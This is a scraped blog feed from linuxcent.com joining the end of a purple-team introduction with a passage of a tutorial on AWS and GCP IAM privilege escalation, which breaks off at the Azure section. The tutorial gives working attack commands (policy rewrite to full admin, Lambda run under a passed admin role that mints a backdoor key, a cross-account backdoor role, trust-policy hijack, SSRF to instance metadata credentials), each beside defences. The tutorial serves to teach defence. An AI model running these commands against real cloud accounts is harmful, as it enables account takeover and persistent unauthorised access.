<p>The next episode maps every OWASP Top 10 category to its cloud and Kubernetes infrastructure equivalent. Most engineers think OWASP applies only to web applications. It doesn&#8217;t. Broken Access Control (A01) is the S3 bucket that&#8217;s public when it shouldn&#8217;t be. Cryptographic Failures (A02) is the environment variable with a plaintext database password committed to GitHub. Injection (A03) is the SSRF that hits the EC2 metadata endpoint.</p>
<p>The framing shifts. The categories don&#8217;t.</p>
<hr />
<h2 id="red-phase-primer-how-attack-simulations-work-in-this-series">Red Phase Primer: How Attack Simulations Work in This Series</h2>
<p>Every episode from EP04 onward follows this structure:</p>
<p><strong>Red phase</strong> — the technique the attacker uses, with the actual commands. Not &#8220;the attacker exploited misconfigured IAM.&#8221; The actual <code class="" data-line="">aws</code> CLI command or <code class="" data-line="">kubectl</code> invocation that demonstrates the technique. Commands are safe for authorized use in your own environment or a test account.</p>
<p><strong>Blue phase</strong> — what detection looks like. The CloudTrail event, the GuardDuty finding, the Falco rule, the SIEM query. If it doesn&#8217;t fire by default, the episode says so explicitly — and shows you how to make it fire.</p>
<p><strong>Purple phase</strong> — the structural fix. Not &#8220;train your developers to be more careful.&#8221; The IAM policy, the SCPs, the network control, the pre-commit hook. The thing that makes the vulnerability not exist, not the thing that makes humans try harder to avoid it.</p>
<hr />
<h2 id="run-this-in-your-own-environment-baseline-your-current-detection-coverage">Run This in Your Own Environment: Baseline Your Current Detection Coverage</h2>
<p>Before EP02, establish a detection baseline. This tells you where you start, so later exercises have a number to beat.</p>
<pre><code class="" data-line="">aws guardduty list-findings \
  --detector-id $(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text) \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;updatedAt&quot;: {
        &quot;GreaterThanOrEqual&quot;: &#039;$(date -d &#039;30 days ago&#039; +%s000)&#039;
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 50 aws guardduty get-findings \
    --detector-id $(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text) \
    --finding-ids | \
  jq &#039;.Findings[] | {type: .Type, severity: .Severity, count: 1}&#039; | \
  jq -s &#039;group_by(.type) | map({type: .[0].type, count: length})&#039;
</code></pre>
<pre><code class="" data-line=""># Check if CloudTrail is enabled and logging management events
aws cloudtrail describe-trails --query &#039;trailList[].{Name:Name,MultiRegion:IsMultiRegionTrail,LoggingEnabled:HasCustomEventSelectors}&#039; --output table
</code></pre>
<pre><code class="" data-line=""># Check if S3 server access logging is enabled on all buckets
aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read bucket; do
    logging=$(aws s3api get-bucket-logging --bucket &quot;$bucket&quot; 2&gt;/dev/null)
    if [ -z &quot;$logging&quot; ] || echo &quot;$logging&quot; | grep -q &#039;{}&#039;; then
      echo &quot;NO LOGGING: $bucket&quot;
    else
      echo &quot;LOGGING OK: $bucket&quot;
    fi
  done
</code></pre>
<p>Record your current findings count by category and the number of buckets without logging. These are your pre-exercise baselines.</p>
<hr />
<h2 id="common-mistakes-when-starting-a-purple-team-practice"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Mistakes When Starting a Purple Team Practice</h2>
<p><strong>Running it as an annual event.</strong> One purple team exercise per year produces a report. Monthly exercises with 3–5 techniques each produce measurable improvement in detection time. Frequency is the variable.</p>
<p><strong>Letting red and blue work in separate rooms.</strong> The purple layer is the debrief. If red sends a report and blue reads it later, you&#8217;ve just done a red team engagement. The real-time shared observation is what generates the immediate detection improvement.</p>
<p><strong>Measuring success as &#8220;how many vulnerabilities were found.&#8221;</strong> The right metric is detection time per technique and detection coverage across your ATT&amp;CK or OWASP matrix. Vulnerabilities found is an output of the exercise; faster detection is the outcome.</p>
<p><strong>Starting with sophisticated techniques.</strong> The first exercise should test basics: credential access, S3 enumeration, IAM privilege escalation attempts. These generate straightforward logs in CloudTrail. If your detection doesn&#8217;t catch these, it won&#8217;t catch the sophisticated stuff either. Start where the coverage gaps are most embarrassing.</p>
<p><strong>No documentation of the exercise environment state.</strong> If you tune a detection rule during an exercise and then a Terraform change overwrites the policy, you&#8217;ve lost the improvement. All detection changes from exercises go through version control immediately.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Term</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>Purple team security</td>
<td>Practice of combined red/blue exercises where both teams improve detection together</td>
</tr>
<tr>
<td>MTTD</td>
<td>Mean Time to Detect — the primary metric purple team exercises reduce</td>
</tr>
<tr>
<td>ATT&amp;CK</td>
<td>MITRE framework mapping adversary techniques to data sources and detections</td>
</tr>
<tr>
<td>Red phase</td>
<td>Attacker perspective: simulate the technique with real commands</td>
</tr>
<tr>
<td>Blue phase</td>
<td>Defender perspective: what detection fires (or doesn&#8217;t)</td>
</tr>
<tr>
<td>Purple phase</td>
<td>The joint debrief and immediate detection tuning that makes both better</td>
</tr>
<tr>
<td>Detection baseline</td>
<td>Measured MTTD and technique coverage before the first exercise</td>
</tr>
<tr>
<td>OWASP Top 10</td>
<td>Threat taxonomy used in this series — applies to infrastructure, not just web apps</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Purple team security is a practice, not a team: structured exercises where red attacks and blue detects in real time, with joint debrief producing updated detection rules</li>
<li>The metric that matters is detection time per technique — not findings count</li>
<li>Red team alone produces a report; purple team produces a faster MTTD and tested detection coverage</li>
<li>MITRE ATT&amp;CK provides the technique vocabulary; OWASP Top 10 provides the vulnerability taxonomy this series uses</li>
<li>Every major cloud breach 2020–2025 maps to an OWASP category — those categories are the exercise backlog for any cloud-running organization</li>
<li>Detection improvements from exercises must be version-controlled immediately or they disappear with the next infrastructure change</li>
<li>Frequency of exercises is the primary driver of improvement — monthly beats annual by an order of magnitude</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP02 maps every OWASP Top 10 category to its cloud infrastructure equivalent. Most engineers treat OWASP as a web application concern. The <a href="/cloud-security-breaches-2020-2025/">cloud security breaches from 2020 to 2025</a> tell a different story: the S3 bucket that became public is A01; the CI/CD pipeline secret is A08; the SSRF to EC2 metadata is A10. The taxonomy was always infrastructure-applicable. EP02 makes that mapping explicit — with the cloud-native equivalent, the real breach that demonstrates it, and the detection query to run.</p>
<p>Get EP02 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&#038;title=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" data-a2a-url="https://linuxcent.com/what-is-purple-team-security/" data-a2a-title="What Is Purple Team Security: Red + Blue = Better Defense"></a></p><p>The post <a href="https://linuxcent.com/what-is-purple-team-security/">What Is Purple Team Security: Red + Blue = Better Defense</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/what-is-purple-team-security/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1843</post-id>	</item>
		<item>
		<title>AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</title>
		<link>https://linuxcent.com/cloud-iam-privilege-escalation/</link>
					<comments>https://linuxcent.com/cloud-iam-privilege-escalation/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 17 Apr 2026 18:42:16 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[AWS IAM]]></category>
		<category><![CDATA[Cloud Pentesting]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[IAM Misconfiguration]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Privilege Escalation]]></category>
		<category><![CDATA[Red Team]]></category>
		<guid isPermaLink="false">https://linuxcent.com/cloud-iam-privilege-escalation/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span>How attackers escalate privileges in AWS, GCP, and Azure through IAM misconfigurations — iam:PassRole, actAs, roleAssignments/write — and how to block each path.</p>
<p>The post <a href="https://linuxcent.com/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → <a href="/aws-iam-deep-dive/">AWS IAM Deep Dive</a> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a> → <a href="/azure-rbac-entra-id-guide/">Azure RBAC Scopes</a> → <a href="/workload-identity-oidc-service-accounts/">OIDC Workload Identity</a> → <strong>AWS IAM Privilege Escalation</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Cloud breaches are IAM events — the initial compromise is just the door; the IAM configuration determines how far an attacker goes</li>
<li><code class="" data-line="">iam:PassRole</code> with <code class="" data-line="">Resource: *</code> is AWS&#8217;s single highest-risk permission — it lets any principal assign any role to any service they can create</li>
<li><code class="" data-line="">iam:CreatePolicyVersion</code> is a one-call path to full account takeover — the attacker rewrites the policy that&#8217;s already attached to them</li>
<li><code class="" data-line="">iam.serviceAccounts.actAs</code> in GCP and <code class="" data-line="">Microsoft.Authorization/roleAssignments/write</code> in Azure are direct equivalents — same threat model, different syntax</li>
<li>Enforce IMDSv2 on EC2; disable SA key creation in GCP; restrict role assignment scope in Azure</li>
<li>Alert on IAM mutations — they are low-volume, high-signal events that should never be silent</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  AWS IAM PRIVILEGE ESCALATION — HOW LIMITED ACCESS BECOMES FULL COMPROMISE

  Initial credential (exposed key, SSRF to IMDS, phished session)
         │
         ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  DISCOVERY (read-only, often undetected)                        │
  │  get-caller-identity · list-attached-policies · get-policy     │
  │  Result: attacker maps their permission surface in &lt; 15 min    │
  └─────────────────────────────────────────────────────────────────┘
         │
         ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  PRIVILEGE ESCALATION — pick one path that&#039;s open:             │
  │                                                                 │
  │  iam:CreatePolicyVersion  →  rewrite your own policy to *:*    │
  │  iam:PassRole + lambda    →  invoke code under AdminRole       │
  │  iam:CreateRole +                                              │
  │    iam:AttachRolePolicy   →  create and arm a backdoor role    │
  │  iam:UpdateAssumeRolePolicy → hijack an existing admin role    │
  │  SSRF → IMDS              →  steal instance role credentials   │
  └─────────────────────────────────────────────────────────────────┘
         │
         ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  PERSISTENCE (before incident response begins)                  │
  │  Create hidden IAM user · cross-account backdoor role          │
  │  Add personal account at org level (GCP)                       │
  │  These survive: password resets, key rotation, even            │
  │  deletion of the original compromised credential               │
  └─────────────────────────────────────────────────────────────────┘
         │
         ▼
  Impact: data exfiltration · destruction · ransomware · mining
</code></pre>
<p>AWS IAM privilege escalation follows a consistent pattern across almost every significant cloud breach: a limited initial credential, a chain of IAM permissions that expand access, and damage that&#8217;s proportional to how much room the IAM design gave the attacker to move. This episode maps the paths — as concrete techniques with specific permissions, because defending against them requires understanding exactly what they exploit.</p>
<hr />
<h2 id="introduction">Introduction</h2>
<p>AWS IAM privilege escalation turns misconfigured permissions into full account compromise — and the entry point is rarely the attack that matters. In 2019, Capital One suffered a breach that exposed over 100 million customer records. The attacker didn&#8217;t find a zero-day. They exploited an SSRF vulnerability in a web application firewall, reached the EC2 instance metadata service, retrieved temporary credentials for the instance&#8217;s IAM role, and found a role with <code class="" data-line="">sts:AssumeRole</code> permissions that let it assume a more powerful role. That more powerful role had access to S3 buckets containing customer data.</p>
<p>The SSRF got the attacker a foothold. The IAM design determined how far they could go.</p>
<p>This is the pattern across almost every significant cloud breach: a limited initial credential, followed by a privilege escalation path through IAM, followed by the actual damage. The damage is determined not by the sophistication of the initial compromise but by how much room the IAM configuration gives an attacker to move.</p>
<p>This episode maps the paths. Not as theory — as concrete techniques with specific permissions, because understanding exactly what an attacker can do with a specific IAM misconfiguration is the only way to prioritize what to fix. The defensive controls are listed alongside each path because that&#8217;s where they&#8217;re most useful.</p>
<hr />
<h2 id="the-attack-chain">The Attack Chain</h2>
<p>Most cloud account compromises follow a consistent pattern:</p>
<pre><code class="" data-line="">Initial Access
  (compromised credential — exposed access key, SSRF to IMDS,
   compromised developer workstation, phished IdP session)
    │
    ▼
Discovery
  (what am I? what can I do? what can I reach?)
    │
    ▼
Privilege Escalation
  (use existing permissions to gain more permissions)
    │
    ▼
Lateral Movement
  (access other accounts, services, resources)
    │
    ▼
Persistence
  (create backdoor identities that survive credential rotation)
    │
    ▼
Impact
  (data exfiltration, destruction, ransomware, crypto mining)
</code></pre>
<p>Understanding this chain tells you where to put defensive controls. You can cut the chain at any link. The earlier the better — but it&#8217;s better to have multiple cuts than to assume a single control holds.</p>
<hr />
<h2 id="phase-1-discovery-an-attackers-first-steps">Phase 1: Discovery — An Attacker&#8217;s First Steps</h2>
<p>The moment an attacker has any cloud credential, they enumerate. This is low-noise, uses only read permissions, and in many environments goes completely undetected:</p>
<pre><code class="" data-line=""># AWS: establish identity
aws sts get-caller-identity
# Returns: Account, UserId, Arn — tells the attacker what they&#039;re working with

# Enumerate attached policies
aws iam list-attached-user-policies --user-name alice
aws iam list-user-policies --user-name alice
aws iam list-groups-for-user --user-name alice
aws iam list-attached-role-policies --role-name LambdaRole

# Read the actual policy document
aws iam get-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/DevAccess \
  --version-id v1

# Survey what&#039;s accessible
aws s3 ls
aws ec2 describe-instances --output table
aws secretsmanager list-secrets
aws ssm describe-parameters
</code></pre>
<pre><code class="" data-line=""># GCP: establish identity and permissions
gcloud auth list
gcloud projects get-iam-policy PROJECT_ID --format=json | \
  jq &#039;.bindings[] | select(.members[] | contains(&quot;compromised-sa@project.iam.gserviceaccount.com&quot;))&#039;

# Test specific permissions
gcloud projects test-iam-permissions PROJECT_ID \
  --permissions=&quot;storage.objects.list,iam.roles.create,iam.serviceAccountKeys.create&quot;
</code></pre>
<pre><code class="" data-line=""># Azure: establish context
az account show
az role assignment list --assignee alice@company.com --all --output table
</code></pre>
<p>All of this is read-only. In most environments I&#8217;ve reviewed, there are no alerts on this activity unless the calls come from an unusual IP or at an unusual time. An attacker comfortable with the AWS CLI can map the permission surface of a compromised credential in 10–15 minutes.</p>
<hr />
<h2 id="aws-privilege-escalation-paths">AWS Privilege Escalation Paths</h2>
<h3 id="path-1-iamcreatepolicyversion">Path 1: iam:CreatePolicyVersion</h3>
<p>The most direct path. If a principal can create a new version of a policy attached to themselves, they can rewrite it to grant anything.</p>
<pre><code class="" data-line=""># Attacker has iam:CreatePolicyVersion on a policy attached to their own role
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/DevPolicy \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [{&quot;Effect&quot;: &quot;Allow&quot;, &quot;Action&quot;: &quot;*&quot;, &quot;Resource&quot;: &quot;*&quot;}]
  }&#039; \
  --set-as-default
# Result: DevPolicy now grants AdministratorAccess to everyone with it attached
</code></pre>
<p>The attacker doesn&#8217;t need to create new infrastructure. They inject admin access directly into their existing permission set. This is often undetected by basic monitoring because <code class="" data-line="">CreatePolicyVersion</code> is a low-frequency legitimate operation.</p>
<p><strong>Defence:</strong> Alert on every <code class="" data-line="">CreatePolicyVersion</code> call. Restrict the permission to a dedicated break-glass IAM role. Use permissions boundaries on developer roles to cap the maximum permissions they can ever hold.</p>
<h3 id="path-2-iampassrole-service-creation">Path 2: iam:PassRole + Service Creation</h3>
<p><code class="" data-line="">iam:PassRole</code> allows an identity to assign an IAM role to an AWS service. This is legitimate and necessary — it&#8217;s how you configure &#8220;this Lambda function runs with this role.&#8221; The attack vector: if a more powerful role exists in the account, and the attacker can pass it to a service they control and invoke that service, they operate with the more powerful role&#8217;s permissions.</p>
<pre><code class="" data-line=""># Attacker has: lambda:CreateFunction + iam:PassRole + lambda:InvokeFunction
# They know an existing AdminRole exists (discovered during enumeration)

# Create a Lambda that runs with AdminRole
aws lambda create-function \
  --function-name exfil-fn \
  --runtime python3.12 \
  --role arn:aws:iam::123456789012:role/AdminRole \
  --handler index.handler \
  --zip-file fileb://payload.zip

# Invoke — code now executes with AdminRole&#039;s permissions
aws lambda invoke --function-name exfil-fn /tmp/output.json
</code></pre>
<pre><code class="" data-line="">import boto3

def handler(event, context):
    # Running as AdminRole
    s3 = boto3.client(&#039;s3&#039;)
    buckets = s3.list_buckets()

    # Create a backdoor access key while we have elevated access
    iam = boto3.client(&#039;iam&#039;)
    key = iam.create_access_key(UserName=&#039;backdoor-user&#039;)

    return {&quot;buckets&quot;: [b[&#039;Name&#039;] for b in buckets[&#039;Buckets&#039;]], &quot;key&quot;: key}
</code></pre>
<p><strong>Defence:</strong> Scope <code class="" data-line="">iam:PassRole</code> to specific role ARNs — never <code class="" data-line="">Resource: *</code>. Example:</p>
<pre><code class="" data-line="">{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: &quot;iam:PassRole&quot;,
  &quot;Resource&quot;: &quot;arn:aws:iam::123456789012:role/LambdaExecutionRole-*&quot;
}
</code></pre>
<h3 id="path-3-iamcreaterole-iamattachrolepolicy">Path 3: iam:CreateRole + iam:AttachRolePolicy</h3>
<p>If an attacker can both create a role and attach policies to it, they create a backdoor identity:</p>
<pre><code class="" data-line=""># Create a role with a trust policy naming an attacker-controlled principal
aws iam create-role \
  --role-name BackdoorRole \
  --assume-role-policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [{
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::ATTACKER_ACCOUNT:root&quot;},
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;
    }]
  }&#039;

# Attach AdministratorAccess
aws iam attach-role-policy \
  --role-name BackdoorRole \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Assume it from the attacker&#039;s account — persistent cross-account access
aws sts assume-role \
  --role-arn arn:aws:iam::TARGET_ACCOUNT:role/BackdoorRole \
  --role-session-name persistent-access
</code></pre>
<p>This is persistence, not just escalation — the backdoor survives password resets, access key rotation, even deletion of the original compromised credential.</p>
<h3 id="path-4-iamupdateassumerolepolicy">Path 4: iam:UpdateAssumeRolePolicy</h3>
<p>If an existing high-privilege role already exists, modifying its trust policy to allow the attacker&#8217;s principal is faster and quieter than creating a new role:</p>
<pre><code class="" data-line=""># Add attacker&#039;s principal to the trust policy of an existing AdminRole
aws iam update-assume-role-policy \
  --role-name ExistingAdminRole \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
      {&quot;Effect&quot;: &quot;Allow&quot;, &quot;Principal&quot;: {&quot;Service&quot;: &quot;ec2.amazonaws.com&quot;}, &quot;Action&quot;: &quot;sts:AssumeRole&quot;},
      {&quot;Effect&quot;: &quot;Allow&quot;, &quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::123456789012:user/attacker&quot;}, &quot;Action&quot;: &quot;sts:AssumeRole&quot;}
    ]
  }&#039;
</code></pre>
<p>The original entry remains intact. A casual review might miss the addition. Trust policy changes should be critical-priority alerts.</p>
<h3 id="path-5-ssrf-to-ec2-instance-metadata">Path 5: SSRF to EC2 Instance Metadata</h3>
<p>The Capital One path. Any SSRF vulnerability in a web application running on EC2 can retrieve the instance role&#8217;s credentials from the metadata service:</p>
<pre><code class="" data-line="">Attacker → SSRF → GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ Returns role name
→ GET http://169.254.169.254/latest/meta-data/iam/security-credentials/MyAppRole
→ Returns: AccessKeyId, SecretAccessKey, Token (valid up to 6 hours)
</code></pre>
<p><strong>Defence:</strong> IMDSv2 requires a PUT request first, blocking simple GET-based SSRF:</p>
<pre><code class="" data-line=""># Enforce IMDSv2 at instance launch
aws ec2 run-instances \
  --metadata-options HttpTokens=required,HttpPutResponseHopLimit=1

# Enforce org-wide via SCP
{
  &quot;Effect&quot;: &quot;Deny&quot;,
  &quot;Action&quot;: &quot;ec2:RunInstances&quot;,
  &quot;Resource&quot;: &quot;arn:aws:ec2:*:*:instance/*&quot;,
  &quot;Condition&quot;: {
    &quot;StringNotEquals&quot;: {&quot;ec2:MetadataHttpTokens&quot;: &quot;required&quot;}
  }
}
</code></pre>
<h3 id="high-risk-aws-permissions-reference">High-Risk AWS Permissions Reference</h3>
<table>
<thead>
<tr>
<th>Permission</th>
<th>Why It&#8217;s Dangerous</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">iam:PassRole</code> with <code class="" data-line="">Resource: *</code></td>
<td>Assign any role to any service — enables immediate privilege escalation</td>
</tr>
<tr>
<td><code class="" data-line="">iam:CreatePolicyVersion</code></td>
<td>Rewrite any policy to grant anything — full account takeover in one API call</td>
</tr>
<tr>
<td><code class="" data-line="">iam:AttachRolePolicy</code></td>
<td>Attach AdministratorAccess to any role</td>
</tr>
<tr>
<td><code class="" data-line="">iam:UpdateAssumeRolePolicy</code></td>
<td>Add any principal to any role&#8217;s trust policy</td>
</tr>
<tr>
<td><code class="" data-line="">iam:CreateAccessKey</code> on other users</td>
<td>Create persistent credentials for any IAM user</td>
</tr>
<tr>
<td><code class="" data-line="">lambda:UpdateFunctionCode</code> on privileged Lambda</td>
<td>Inject malicious code into an elevated function</td>
</tr>
<tr>
<td><code class="" data-line="">secretsmanager:GetSecretValue</code> with <code class="" data-line="">Resource: *</code></td>
<td>Read every secret in the account</td>
</tr>
<tr>
<td><code class="" data-line="">ssm:GetParameter</code> with <code class="" data-line="">Resource: *</code></td>
<td>Read all Parameter Store values — often contains credentials</td>
</tr>
<tr>
<td><code class="" data-line="">iam:CreateRole</code> + <code class="" data-line="">iam:AttachRolePolicy</code></td>
<td>Create and arm a backdoor role</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="gcp-privilege-escalation-paths">GCP Privilege Escalation Paths</h2>
<h3 id="iamserviceaccountsactas">iam.serviceAccounts.actAs</h3>
<p>GCP&#8217;s equivalent of <code class="" data-line="">iam:PassRole</code> — and broader. Allows an identity to make any GCP service act as a specified service account:</p>
<pre><code class="" data-line=""># Attacker has iam.serviceAccounts.actAs on an admin SA
gcloud --impersonate-service-account=admin-sa@project.iam.gserviceaccount.com \
  iam roles list --project=my-project

# Generate a full access token and call any GCP API as admin-sa
gcloud auth print-access-token \
  --impersonate-service-account=admin-sa@project.iam.gserviceaccount.com
</code></pre>
<h3 id="iamserviceaccountkeyscreate">iam.serviceAccountKeys.create</h3>
<p>Converts a short-lived identity into a persistent one. Create a key for an admin service account and you have indefinite access:</p>
<pre><code class="" data-line="">gcloud iam service-accounts keys create admin-key.json \
  --iam-account=admin-sa@project.iam.gserviceaccount.com
# Valid until explicitly deleted — no expiry by default

# Block this at org level
gcloud org-policies set-policy --organization=ORG_ID - &lt;&lt; &#039;EOF&#039;
name: organizations/ORG_ID/policies/iam.disableServiceAccountKeyCreation
spec:
  rules:
    - enforce: true
EOF
</code></pre>
<hr />
<h2 id="azure-privilege-escalation-paths">Azure Privilege Escalation Paths</h2>
